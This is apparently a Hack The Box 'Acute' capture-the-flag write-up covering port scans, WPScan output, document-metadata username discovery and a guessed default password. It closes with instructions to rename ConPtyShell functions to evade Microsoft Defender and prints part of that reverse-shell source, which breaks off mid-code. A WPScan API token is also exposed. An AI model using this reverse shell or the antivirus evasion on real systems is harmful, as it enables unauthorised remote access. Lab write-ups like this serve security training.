Published on

HTB Acute

Authors

Acute

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

└─$ nmap -p- -Pn $IP -o full-enumerate.nmap --open                                                            130Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 19:21 EDT
Nmap scan report for acute.local (10.10.11.145)
Host is up (0.040s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 421.42 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

└─$ nmap -p 443 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 19:32 EDT
Nmap scan report for acute.local (10.10.11.145)
Host is up (0.42s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2023-08-27T23:32:45+00:00; +2s from scanner time.
|_http-title: Not Found
| http-headers: 
|   Content-Type: text/html; charset=us-ascii
|   Server: Microsoft-HTTPAPI/2.0
|   Date: Sun, 27 Aug 2023 23:32:42 GMT
|   Connection: close
|   Content-Length: 315
|   
|_  (Request type: GET)
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after:  2030-01-04T06:34:58
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.19 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

nothing

Port Enumeration

**Port 443

  • Certificate, /etc/hosts this

Common Name → webapp

Untitled
  • atsserver.acute.local in nmap, this is the SSL certificate name.

    Untitled

  • It’s a webapp, didn’t realize at first lol tried to go to http://.. and it 0’d out

wordpress

Untitled

  • WPScan activated

    • had to add --disable-tls-checks cuz it was saying the SSL couldn’t be verified or something along those lines
  • output

    └─$ wpscan --url https://atsserver.acute.local/ --wp-content-dir /wp-content/ -e ap,at,tt,cb,dbe,u1-20,m --plugins-detection mixed --api-token ESATJqU9LYe7lFPuoNv9j18kpVos82Q8ruEKxNa4D9I --disable-tls-checks                         4_______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.24
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [+] URL: https://atsserver.acute.local/ [10.10.11.145]
    [+] Started: Sun Aug 27 21:04:50 2023
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entries:
     |  - server: Microsoft-IIS/10.0
     |  - x-powered-by: ASP.NET
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    Fingerprinting the version - Time: 00:00:13 <=========================================================================================================================================================> (1014 / 1014) 100.00% Time: 00:00:13
    [+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - https://atsserver.acute.local/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.8.2'
     |
     | [!] 27 vulnerabilities identified:
     |
     | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
     |     Fixed in: 5.8.3
     |     References:
     |      - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
     |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
     |      - https://hackerone.com/reports/1378209
     |
     | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
     |     Fixed in: 5.8.3
     |     References:
     |      - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
     |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
     |      - https://hackerone.com/reports/425342
     |      - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
     |
     | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
     |     Fixed in: 5.8.3
     |     References:
     |      - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
     |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
     |
     | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
     |     Fixed in: 5.8.3
     |     References:
     |      - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
     |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
     |      - https://hackerone.com/reports/541469
     |
     | [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery
     |     Fixed in: 5.8.4
     |     References:
     |      - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
     |      - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/
     |
     | [!] Title: WordPress < 5.9.2 / Gutenberg < 12.7.2 - Prototype Pollution via Gutenberg’s wordpress/url package
     |     Fixed in: 5.8.4
     |     References:
     |      - https://wpscan.com/vulnerability/6e61b246-5af1-4a4f-9ca8-a8c87eb2e499
     |      - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/
     |      - https://github.com/WordPress/gutenberg/pull/39365/files
     |
     | [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting
     |     Fixed in: 5.8.5
     |     References:
     |      - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
     |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
     |
     | [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting
     |     Fixed in: 5.8.5
     |     References:
     |      - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
     |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
     |
     | [!] Title: WP < 6.0.2 - SQLi via Link API
     |     Fixed in: 5.8.5
     |     References:
     |      - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
     |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
     |
     | [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283
     |
     | [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095
     |
     | [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44
     |
     | [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc
     |
     | [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0
     |
     | [!] Title: WP < 6.0.3 - Stored XSS via the Customizer
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef
     |
     | [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955
     |
     | [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8
     |
     | [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f
     |
     | [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492
     |
     | [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e
     |
     | [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg
     |     Fixed in: 5.8.6
     |     References:
     |      - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
     |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
     |      - https://github.com/WordPress/gutenberg/pull/45045/files
     |
     | [!] Title: WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding
     |     References:
     |      - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3590
     |      - https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/
     |
     | [!] Title: WP < 6.2.1 - Directory Traversal via Translation Files
     |     Fixed in: 5.8.7
     |     References:
     |      - https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2745
     |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
     |
     | [!] Title: WP < 6.2.1 - Thumbnail Image Update via CSRF
     |     Fixed in: 5.8.7
     |     References:
     |      - https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532
     |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
     |
     | [!] Title: WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery
     |     Fixed in: 5.8.7
     |     References:
     |      - https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5
     |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
     |
     | [!] Title: WP < 6.2.2 - Shortcode Execution in User Generated Data
     |     Fixed in: 5.8.7
     |     References:
     |      - https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89
     |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
     |      - https://wordpress.org/news/2023/05/wordpress-6-2-2-security-release/
     |
     | [!] Title: WP < 6.2.1 - Contributor+ Content Injection
     |     Fixed in: 5.8.7
     |     References:
     |      - https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670
     |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
    
    [i] The main theme could not be detected.
    
    [+] Enumerating All Plugins (via Passive and Aggressive Methods)
     Checking Known Locations - Time: 00:14:29 <======================================================================================================================================================> (103555 / 103555) 100.00% Time: 00:14:29
    [+] Checking Plugin Versions (via Passive and Aggressive Methods)
    
    [i] Plugin(s) Identified:
    
    [+] js_composer
     | Location: https://atsserver.acute.local/wp-content/plugins/js_composer/
     | Last Updated: 2023-08-02T03:59:57.000Z
     | [!] The version is out of date, the latest version is 7.0
     |
     | Found By: Body Tag (Passive Detection)
     |
     | [!] 1 vulnerability identified:
     |
     | [!] Title: WPBakery Page Builder < 6.13.0 - Contributor+ Stored XSS
     |     Fixed in: 6.13.0
     |     References:
     |      - https://wpscan.com/vulnerability/ee99521d-be25-41ef-8988-5cfd66e9c5ca
     |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31213
     |
     | Version: 6.6.0 (60% confidence)
     | Found By: Body Tag (Passive Detection)
     |  - https://atsserver.acute.local/, Match: 'js-comp-ver-6.6.0'
    
    [+] Enumerating All Themes (via Passive and Aggressive Methods)
     Checking Known Locations - Time: 00:03:24 <========================================================================================================================================================> (26137 / 26137) 100.00% Time: 00:03:24
    
    [i] No themes Found.
    
    [+] Enumerating Timthumbs (via Passive and Aggressive Methods)
     Checking Known Locations - Time: 00:00:15 <==========================================================================================================================================================> (2568 / 2568) 100.00% Time: 00:00:15
    
    [i] No Timthumbs Found.
    
    [+] Enumerating Config Backups (via Passive and Aggressive Methods)
     Checking Config Backups - Time: 00:00:01 <=============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:01
    
    [i] No Config Backups Found.
    
    [+] Enumerating DB Exports (via Passive and Aggressive Methods)
     Checking DB Exports - Time: 00:00:00 <===================================================================================================================================================================> (80 / 80) 100.00% Time: 00:00:00
    
    [i] No DB Exports Found.
    
    [+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
     Brute Forcing Attachment IDs - Time: 00:00:00 <========================================================================================================================================================> (100 / 100) 100.00% Time: 00:00:00
    
    [i] Medias(s) Identified:
    
    [+] https://atsserver.acute.local/?attachment_id=1
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=2
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=3
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=4
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=5
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=6
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=8
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=7
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=9
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=10
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=11
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=12
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=13
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=14
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=15
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=16
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=17
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=18
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=19
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=20
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=21
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=22
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=23
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=24
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=25
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=26
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=27
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=28
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=29
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=30
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=31
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=32
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=33
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=34
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=35
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=36
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=37
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=38
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=39
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=40
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=41
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=42
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=43
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=44
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=45
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=46
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=47
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=48
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=49
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=50
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=51
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=52
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=54
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=53
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=55
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=56
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=57
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=58
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=59
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=60
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=61
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=62
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=63
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=64
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=65
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=66
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=67
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=68
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=69
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=70
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=71
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=72
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=73
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=74
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=75
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=76
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=77
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=78
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=79
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=80
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=81
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=82
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=83
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=84
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=85
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=86
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=87
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=88
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=89
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=90
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=91
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=92
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=93
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=94
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=95
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=96
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=97
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=98
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=99
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] https://atsserver.acute.local/?attachment_id=100
     | Found By: Attachment Brute Forcing (Aggressive Detection)
    
    [+] Enumerating Users (via Passive and Aggressive Methods)
     Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================================================================> (20 / 20) 100.00% Time: 00:00:02
    
    [i] No Users Found.
    
    [+] WPScan DB API OK
     | Plan: free
     | Requests Done (during the scan): 2
     | Requests Remaining: 23
    
    [+] Finished: Sun Aug 27 21:23:59 2023
    [+] Requests Done: 133694
    [+] Cached Requests: 9
    [+] Data Sent: 31.329 MB
    [+] Data Received: 21.508 MB
    [+] Memory used: 590.453 MB
    [+] Elapsed time: 00:19:09
    
  • Clicked around, found an about page that had a “New Starter Forms” button in the top right which downloaded a .docx

Untitled

  • abiword New_Starter_CheckList_v7.docx
    • because libreoffice was giving me errors

Untitled

Untitled

Untitled

find a username and a computer name to authenticate to web powershell

  • exiftool .docx

Untitled

  • Few things stick out to me here. New PC name, Acute-PC01, the name Daniel, the creator Fcastle, and the template used.

  • On the about page, We see lots of First and Last names, and to match this to what we see in exiftool; FCastle could be first name F last name Castle.

  • Trying EDavies:Password1! gives a message that tells me the password is correct but not the computer

    Untitled

  • EDavies:Password1! and computer name Acute-PC01 worked

Untitled

Onto Foothold


Exploitation

**********Port 443

Foothold

web powershell to reverse shell

  • We now have Foothold. Let’s get a reverse shell so we have a stable shell to work with here
  1. Grab https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1
  2. When we nano the file we need to remove some things because Microsoft Defender will flag this as malicious. Also, we change the function from Invoke-ConPtyShellcollinhacks
  • nano rev.ps1

    function collinhacks
    {   
        Param
        (
            [Parameter(Position = 0)]
            [String]
            $RemoteIp,
            
            [Parameter(Position = 1)]
            [String]
            $RemotePort,
    
            [Parameter()]
            [String]
            $Rows = "24",
    
            [Parameter()]
            [String]
            $Cols = "80",
    
            [Parameter()]
            [String]
            $CommandLine = "powershell.exe",
            
            [Parameter()]
            [Switch]
            $Upgrade
        )
        
        if( $PSBoundParameters.ContainsKey('Upgrade') ) {
            $RemoteIp = "upgrade"
            $RemotePort = "shell"
        }
        else{
      
            if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) {
                throw "RemoteIp missing parameter"
            }
            
            if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) {
                throw "RemotePort missing parameter"
            }
        }
        $parameterscollinhacks = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
        Add-Type -TypeDefinition $Source -Language CSharp;
        $output = [collinhacksMainClass]::collinhacksMain($parameterscollinhacks)
        Write-Output $output
    }
    
    $Source = @"
    
    using System;
    using System.IO;
    using System.Text;
    using System.Threading;
    using System.Net;
    using System.Net.Sockets;
    using System.Net.NetworkInformation;
    using System.Runtime.InteropServices;
    using System.Diagnostics;
    using System.Collections.Generic;
    
    public class collinhacksException : Exception
    {
        private const string error_string = "[-] collinhacksException: ";
    
        public collinhacksException() { }
    
        public collinhacksException(string message) : base(error_string + message) { }
    }
    
    public class DeadlockCheckHelper
    {
    
        private bool deadlockDetected;
